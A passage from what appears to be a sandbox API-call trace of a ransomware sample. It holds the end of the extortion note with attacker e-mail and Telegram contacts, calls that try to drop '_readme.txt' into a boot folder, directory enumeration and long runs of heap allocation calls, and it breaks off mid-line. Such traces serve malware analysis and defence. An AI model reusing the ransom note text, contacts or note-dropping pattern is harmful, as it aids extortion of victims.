folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.603] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.603] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.603] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.603] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.603] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.603] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.603] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.603] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.603] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.604] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.604] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.604] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.604] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.604] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.604] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.604] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.604] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.604] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.604] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.604] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.604] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.604] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.604] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.604] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.604] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.604] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.604] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.606] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.609] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.609] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.609] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.609] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.609] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.609] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.609] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.609] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.609] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.609] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.609] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.609] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.609] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.609] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.609] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.609] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.609] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, 